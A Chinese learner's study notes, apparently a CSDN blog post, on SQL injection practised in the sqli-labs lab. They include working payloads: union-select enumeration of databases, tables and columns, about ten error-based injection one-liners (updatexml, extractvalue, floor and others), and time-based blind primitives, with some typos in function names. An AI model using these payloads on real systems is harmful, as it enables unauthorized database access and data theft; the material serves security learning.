SQL注入——学习笔记

SQL注入三要素:未严格过滤 恶意修改 执行语句
sql注入思路:1、明确注入数据库类型、权限 2、明确参数类型、提交方式

1、先了解怎么判断一个网站存在注入点:
利用常见的 and/or 1=1 或者and/or 1=2 来判断是否存在注入点
常见的闭合符号 :’ " ') ") %) % } 也可以判断是否存在注入点

基础知识
基本信息收集语句(基于mysql)

信息收集函数:
versions() 获取版本
user() 获取用户名
@@versions 获取操作版本
database() 获取数据库
注释符:–(空格) 、 --+ 、 /**/ 、 # 等等||
// 对于数据库版本在5.x以上
获取数据库名:select group_concat(schema_name) from information_schema.schemata ;
获取数据库中表名: select group_conact(table_name) from information_schema.tables where tables_schema.database();
获取数据标中的字段:select group_concat(column_name) from information_schema.column where table_name=‘表名’ ;

sql注入之类型和提交方法

简要明确数据参数类型:
数字,字符,搜索,josn等对应了不同的注入方法

        数字类型:(常见于get请求)     这里就可以添加魔术引号对我们注入的语句进行判断,如果注入语句不是数字类型 就直接
           ?id=1(数字类型)

       字符类型:(常见于post请求)  
          ?username=admin(字符)

      Josn 特殊案例 常用在一些app的开发上
      Josn 的输出 { 'user':'admin' ****}更像是一种数据
      提问:怎么知道对方是通过josn写入数据?

简要明确请求方法:
Get,post,(cookie只在数据包里),request,http头等

get 类型: 关卡:less 5-6
我们在burp里面可以看到一些 get类型来获取数据的方式,可以直接在网站地址后面进行注入

post类型:关卡:less 11 (提交方式、参数类型)
post类型有一个特点 就是会有输入框 在输入框中输入(字符or数字) 进行闭合之后 联合查询
post注入需要写入 post语句
例句:uname=admin’ and 1=1 --+

get的优先级比post先,所以在sql注入的时候。哪怕请求方式有post,get请求也能得到对应的数据

Cookie 类型:
通过burp 进行cookie 注入 (cookie里面最常见到的是 魔术引号通过魔术来判断我们的注入是什么类型 )
思考:1、cookie类型怎么注入 2、怎么绕过相对应的防护(魔术引号等)3、cookie怎么应用
1、在burp包里我们有一个专门读取cookie 数据。 在cookie 里面进行修改即可。
2、常见魔术引号防护,可能是通过判断 数据类型 。要求输入是 数字类型 那我们通过转义码,将我们的注入语句进行转义即可
3、cookie 的应用:
关卡:

request类型: (课程讲解的时候没有仔细听 有时间一定要进行搜索)

http头类型:
注意查询方式 (insert 语句 ) 注入
常见的注入:
1、User-Agent(浏览器信息处的注入) 对方读取到我们的浏览器信息 我们也可以通过更改浏览器信息对 对方进行注入
user-agent注入方式:
2、ip地址注入 :
(针对ip地址 我们有两种判断方式:1、系统自带协议,我们的网络层有8层 其中有一层为脚本层。可以通过脚本代码实现ip地址的修改 2、读取的ip地址为我们系统层的ip 那种ip只能是公网ip由网络供应商供应 不可修改)

这里提一下魔术引号: 魔术引号代表一个能 过滤信息的函数 ,比如我们再get数据类型里采用魔术引号(判断是否注入为数字型 ,如果不是,那就到魔术语句中执行。直接)
简要学习各种数据库的注入特点

  面对不同的数据库 我们应该怎么应对:1、各种数据库的注入特点 (架构组成 ,高权限操作) 

常见数据库:access、 mysql、 mssql 、Oracle 、MongoDB等等

这里我们要做的就是对比几个数据库的结构 ,每个数据库支持什么样的操作语句

我们怎么通过网站脚本后缀来判断数据库类型?

简要学习各种注入工具的使用(sqlmap的基本使用已经收集)

2、注入工具的使用指南:(由于我们工具 支持数据库 有区别 比如 sqlmap就不支持MongoDB数据库 注入模式有区别 导致优缺点个不想相同 ) sqlmap的使用必须掌握

提出一个问题:什么决定了网站注入点的用户权限? 谁连接的数据库 谁就是最高权限者。

如果变量参数类型为字符类型 ,那我们在后面的注入语句将无法闭合
例如:select *from!

各种注入方式
1、联合注入 2、报错注入 3、布尔盲注 时间盲注 4、排序盲注

1、联合注入 : union select
使用联合注入前提条件: 页面有显示位!
联合注入的原理是什么?
在mysql中 union操作符用于连接两个以上的select 语句 。我们在前面输入id=1‘ 就是第一个select语句。(可能理解不对请各位师傅指出)

基本语句怎么写?我以sqli-labs less-2为例
首先我们判断是否存在注入点。
?id =1 ’ ***
?id= 1 order by * --+
?id=-1 union select 1,2,3 --+ (为什么这里要用这个来判断呢? -1 这里是为了然后面select 1,2,3 中的值更好的显示 ,因为前面如果是 id=1 那么页面回显就直接是正常情况 )

页面回显
Your Login name:2
Your Password:3
开始信息收集
模型: union select 1,payload(),3 --+
?id=-1 union select 1,version(),3 --+
?id=-1 union select 1,user(), 3 --+
?id =-1 union select 1,database(),3 --+
查询数据库名
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询表名
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

查询列名
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+

2、报错注入:floor updatexml 、extractvalue 等报错注入
常见的:
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)2))x from information_schema.tables groupby x)a);
2.extractvalue()id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()id=1 and polygon((select * from(select
from(select user())a)b));
7.multipolygon()id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()id=1 and exp(~(select * from(select user())a));

1、updatexml报错
理解updatexml:
对xml文档进行查询的函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

报错的原理:
updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错

使用方法 (less-5)
格式:updatexml(a,b,c) 只用将b值修改为payload。
and (updatexml(1,concat(0x3a,(payload()),0x7e),1))
信息收集:
?id=1’ and (updatexml(1,concat(0x3a,(select user()),0x7e),1)) --+

?id=1’ and (updatexml(1,concat(0x3a,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)) --+ //加上了substr做数据遍历,下面有详细介绍

接下来不做演示 东西都一样
2、extractvalue
报错注入的原理是什么?
理解extractvalue(): 对xml文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
格式: extractvalue(a,b)
and(extractvalue(1,concat(0x7e,(select payload())));
信息收集:
?id=1’ and extractvalue(1,concat(0x7e,(select user()))) --+
后面不做演示

为什么payload要写在1的后面? —— 原因与updatexml原因一样,为了符合语法 第二个参数需要的是xpath语法,但是我们输入的显然不符合 所以进行报错
3、floor报错注入(https://blog.csdn.net/zpy1998zpy/article/details/80650540?utm_term=floor%E6%8A%A5%E9%94%99%E5%8E%9F%E7%90%86&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-0-80650540&spm=3001.4430)
搞一篇文章好好看看学习一下

3、时间注入:if sleep(通过演示进行判断)
if -sleep语句:

参考:
like ‘ro%’ #判断 ro…或ro 是否成立
regexp ‘^ro[a-z]’ #匹配ro及ro…等
if((条件),1,0) #条件成立 返回1 反之 返回0
sleep(5) #sql语句延时执行时间5s
mid(a,b,c) #从位置b开始,截取a字符串 c位数
substr(a,b,c) #从b位置开始,截取字符串a的c长度 习惯常用
left(database(),1),database() # left(a,b) 从左侧截取a的前b位
length(database())=8 #判断数据库database() 名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

access偏移注入 :解决列名获取不到的情况 通过access偏移可以解决

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值